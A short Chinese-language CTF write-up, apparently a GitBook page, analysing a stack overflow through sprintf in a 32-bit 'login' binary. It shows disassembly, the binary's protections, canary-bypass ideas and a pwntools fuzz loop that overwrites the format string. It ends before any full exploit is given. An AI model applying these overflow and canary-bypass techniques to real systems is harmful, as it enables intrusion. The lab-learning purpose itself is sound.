Ref

wirteups

vuln

.text:08048744 push    [ebp+var_64]
.text:08048747 push    [ebp+var_60]
.text:0804874A push    [ebp+format]    ; format
.text:0804874D lea     eax, [ebp+s]
.text:08048750 push    eax             ; s
.text:08048751 call    _sprintf

当时看到sprintf格式化漏洞,这里format为%s:%s,对应输入的username和password

然而有保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

绕过canary有两种方式

  1. 通过leak出GS,然后在溢出的时候吧GS填到对应位置
  2. 覆盖到argv或者一些特殊的位置

这里运用第二种

fuzz

通过自定义一个fuzz来查看输出的信息

for i in range(0x50, 0x100):
    p = process('./login')
    p.recvuntil('username:')
    p.sendline('A'*i)
    p.recvuntil('password:')
    p.sendline('B'*0x10)
    print 'the padding size:', hex(i)
    data = p.recvall()
    print data

在输出结果中

the padding size: 0x7c
Login successful!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
*** stack smashing detected ***: ./login terminated

the padding size: 0x7d
Login successful!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

可以看到在username.size <= 0x7c时,格式化sprintf正常拷贝,到0x7d,可以看到:没有了orz

说明sprintf在拷贝的时候字符连续拷贝覆盖到了栈区上的format,从而使得 : 被覆盖

results matching ""

    No results matching ""